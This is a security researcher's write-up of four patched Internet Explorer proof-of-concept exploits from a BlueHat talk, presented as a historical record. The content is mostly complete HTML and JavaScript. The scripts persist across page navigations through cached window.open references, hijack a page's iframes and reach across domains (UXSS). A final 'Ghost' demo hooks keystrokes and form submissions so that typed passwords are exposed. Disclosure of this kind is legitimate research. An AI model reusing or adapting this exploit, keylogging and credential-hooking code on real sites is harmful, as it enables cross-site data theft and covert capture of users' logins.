These are the proof-of-concept files I prepared for a BlueHat presentation. They cover four related techniques built around the idea of a “resident script” — JavaScript that survives a full page navigation and keeps running in the background. After playing around for a while with window.open, onunload, and cached object references, I found that you could keep code alive across navigations in ways the browser wasn’t designed to allow.

01 – Simple Resident Script

The basic technique: use execScript inside a hidden iframe to attach an onunload handler that caches the window.open function, then on the next load use that cached function to inject a resident page into the same tab.

<!-- 01-simple_resident/index.html -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title>Simple Resident Script Demo</title></head>
<body>
<center><font face="Arial" size="3" color="blue"><h1>Simple Resident Script Demo</h1></font></center>

<iframe src="" name="ifr" style="visibility:hidden;position:absolute;width:1px;height:1px;"></iframe>
<script language="JavaScript">
if (!window.opener)
{
	ifr.execScript('window.onunload = function(){top.opener = window.open}');
	setTimeout("location.reload();",100);
}
else
{
	fnCachedWindowOpen = top.opener;
	top.opener = fnCachedWindowOpen("resident_page.html", "_self");
	setTimeout('location.href = "http://www.google.com"',500);

}
</script>
</body>
</html>
<!-- 01-simple_resident/resident_page.html -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head><title>Resident File</title></head>
<body>
<script language="JavaScript">
setInterval("alert('I am a Resident Script. I will appear every five seconds :)')", 5000);
</script>
</body>
</html>

02 – Hijacking Banners

A more advanced version where the resident page, once alive, can reach back into the main window, enumerate its iframes, and redirect them all to attacker-controlled content — effectively hijacking any advertisement banners or third-party iframes on whatever page the user later visits.

<!-- 02-hijacking_banners/index.html (the main BlueHat demo page) -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>BlueHat POC - Resident</title>
</head>
<body scroll="no">
<!-- OLD TECHNIQUE ALREADY PATCHED. THIS IS THE ONE EXPOSED AT THE BLUEHAT -->
<table align="center" width="90%">
<tr>
	<td bgcolor="#000000" width="420" align="center">
	<h1>WINDOW</h1>
	<iframe name="outer_iframe" width="400" height="270" src="wrapper_iframe.html"></iframe>
	</td>
	<td bgcolor="#ffffff">
	lazarus = window[0][0];<br /><br />
	window[0].location = "about:blank";<br /><br />
	lazarus.location = "resident.html";<br /><br />
	<input type="button" value="Run Code" onclick="window[0].location = 'about:blank'; loadResidentPage()">
	</td>
</tr>
</table>

<!-- NEW TECHNIQUE NOT PATCHED. THIS IS USED BUT NOT EXPOSED AT THE BLUEHAT-->

<iframe src="" name="ifr" style="visibility:hidden;position:absolute;width:1px;height:1px;"></iframe>
<script language="JavaScript">
if (!window.opener)
{
	ifr.execScript('window.onunload = function(){top.opener = window.open}');
	setTimeout("location.reload();",100);
}
function loadResidentPage()
{
	fnCachedWindowOpen = top.opener;
	top.opener = fnCachedWindowOpen("resident_page.html?002", "_self");
	setTimeout("top.opener.opener = window;",500);
}
</script>
</body>
</html>
<!-- 02-hijacking_banners/resident_page.html -->
<html>
<head><title>Resident File</title></head>
<body>
<object id="oWMP" classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="1" height="1"></object>
<script language="JavaScript">

navigator.SAME_URL = true;

var myPath = location.href.substring(0,location.href.lastIndexOf('/')+1);

var mainWindow = opener;
setTimeout("mainWindow = opener;", 1000);

function changeIframeURL(url, windowName)
{
	document.all.oWMP.launchURL(url +'&&'+ windowName);
}

function mainFunction()
{
	navigator.document = document;
	if (!navigator.SAME_URL)
	{
		try
		{
			if (mainWindow.length > 0)
			{
				var hihackIframe = confirm('There are ' + mainWindow.length + ' iframe/s on the main window. \n\nDo you want to hijack them?');
				if (hihackIframe)
				{
					for (var i=0; i<mainWindow.length; i++)
					{
						mainWindow[i].name = 'newName' + i;
						changeIframeURL(myPath + 'hijacked_iframe.html', 'newName' + i);
					}
				}
				navigator.SAME_URL = true;
			}
		}
		catch(e)
		{
			alert(e.message);
		}

	}
}
setInterval("mainFunction()",2000);
</script>
</body>
</html>

03 – UXSS via Cached Application Reference

A variation where instead of caching window.open, we cache the .Application property of an iframe’s <object> element before navigating it to a different domain, then use that stale reference to access the new document’s content — achieving UXSS.

<!-- 03-crossdomain/index.html -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head><title>BlueHat POC - Resident</title></head>
<body scroll="no">
<table align="center" width="90%">
<tr>
	<td bgcolor="#000000" width="420" align="center">
	<h1>WINDOW</h1>
	<iframe name="outer_iframe" width="400" height="270" src="wrapper_iframe.html"></iframe>
	</td>
	<td bgcolor="#ffffff" valign="top">
	htmlWindow = window[0].document.getElementsByTagName("object")[0].object.parentWindow;<br /><br />
	window[0].location = "http://www.google.com";<br /><br />
	<input type="button" value="Run Code" onclick="cacheAppl()">
	<br /><br /><br />
	htmlWindow.location = "javascript:alert(document.body.innerText)";<br /><br />
	<input type="button" value="Run Code" onclick="alertInnerData()">
	</td>
</tr>
</table>

<iframe src="" name="ifr" style="visibility:hidden;position:absolute;width:1px;height:1px;"></iframe>
<script language="JavaScript">

function cacheAppl()
{
	window.cachedApplication = document.all.outer_iframe.Application;
	window[0].location = "http://www.google.com";
}
function alertInnerData()
{
	alert(window.cachedApplication.Document.body.innerText);
}

</script>
</body>
</html>

04 – Ghost

The most elaborate demo: a resident page that injects itself into the user’s browsing session, hooks keyboard events to capture input values, intercepts form submissions to preview credentials before they’re sent, and tracks hover events on links to reveal destinations. On HTTPS pages it displayed an ASCII Casper ghost; on HTTP it used an animated GIF overlay.

<!-- 04-ghost/capture.html: sets up the resident and navigates to google.com -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title>mainpage</title></head>
<body>
<iframe src="" name="ifr"></iframe>
<script language="JavaScript">
if (!window.opener)
{
	ifr.execScript('window.onunload = function(){top.opener = window.open}');
	setTimeout("location.reload();",100);
}
else
{
	fnCachedWindowOpen = top.opener;
	top.opener = fnCachedWindowOpen("capture.html?002", "_self");
	location.href = "http://www.google.com";
}
</script>
</body>
</html>
<!-- 04-ghost/centro.html: the resident payload with keylogger and form hook -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
<title>Do you Believe in Ghosts?</title></head>
<body>
<script language="JavaScript">

var myPath = location.href.substring(0,location.href.lastIndexOf('/')+1);

function returnCodeInsideFunction(r)
{
	r+='';
	return r=r.substring(r.indexOf('{')+1,r.lastIndexOf('}'));
}

var mainPageDocument = null;

function mainWindowCode()
{

	document.onkeyup = function()
	{
		if (document.activeElement.tagName == "INPUT" || document.activeElement.tagName == "TEXTAREA")
		{
			document.all.infoDiv.innerText = document.activeElement.value;
		}
	}
	document.onmousemove = function()
	{
		var htmlElement = document.elementFromPoint(event.clientX, event.clientY);
		if (htmlElement.tagName == "A")
		{
			document.all.infoDiv.innerText = htmlElement.href;
		}
		else if (htmlElement.tagName == "INPUT" || htmlElement.tagName == "TEXTAREA")
		{
			document.all.infoDiv.innerText = htmlElement.value;
		}

	}

	function hook_submit_forms()
	{
		var strSubmitString = '<h1>Trapped Form</h1><b>Sending data to:</b> ' + this.action + '<br /><br />';
		for (var i = 0 ; i < this.length ; i++)
		{
			if (this[i].type== "text" || this[i].type == "password")
			{
				strSubmitString+= '<b>' + this[i].name + '</b>' + ' = ' + this[i].value + '<br />';
			}
		}
		window.thisForm = this;
		strSubmitString+='<br /><br /><input type="button" value="Submit the Data" onclick="thisForm.submit()"><input type="button" value="Cancel" onclick="document.all.submitDiv.style.display=\'none\'">';
		document.all.submitDiv.innerHTML = strSubmitString;
		document.all.submitDiv.style.display = "inline";
		return false;

	}
	function keepHooking()
	{
		for (var i = 0; i < document.forms.length ; i++)
		{
			document.forms[i].onsubmit = hook_submit_forms;
		}
	}
	setInterval('keepHooking()',100);

}

function trapEvents()
{
	if (mainPageDocument.URL.indexOf("https:")!=-1)
	{
		mainPageDocument.body.insertAdjacentHTML('afterBegin','<div onclick="this.style.display=\'none\'" id="hackedLayer" style="z-index:1000;position:absolute;left:0px;top:0px;background-Color:black;color:white;">[ASCII Casper]</div><div style="position:absolute;" id="infoDiv"></div><div id="submitDiv" style="display:none;position:absolute;..."></div>');
	}
	else
	{
		mainPageDocument.body.insertAdjacentHTML('afterBegin','<img onclick="this.style.display=\'none\'" src="'+ myPath +'casper-01.gif" style="z-index:1000;position:absolute;width:136px;height:243px;left:0px;top:0px;" /><div style="position:absolute;" id="infoDiv"></div><div id="submitDiv" style="display:none;..."></div>');
	}
	mainPageDocument.parentWindow.eval(returnCodeInsideFunction(mainWindowCode));
}
document.body.onclick = function()
{
	mainPageDocument = event.srcElement.ownerDocument;
	trapEvents();
}
function getDocument()
{
	try
	{
		if (!mainPageDocument.all)
		{
			document.body.setCapture();
		}
		else
		{
			document.body.releaseCapture();
		}
	}
	catch(e)
	{
		document.body.setCapture();
	}

}
setInterval('getDocument()',100);
</script>

</body>
</html>

The resident script technique exploited the fact that IE kept the window.open reference alive across navigations if it was captured from an iframe’s execScript context during the onunload event. The “Ghost” demo was the most striking illustration — once the user visited the initial page, the attack script would silently persist across every subsequent navigation, hooking form submissions and capturing keystrokes. All four of these were patched, and the older iframe-navigation-based UXSS was already patched before the BlueHat presentation; only the execScript/onunload variant was new at that time.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.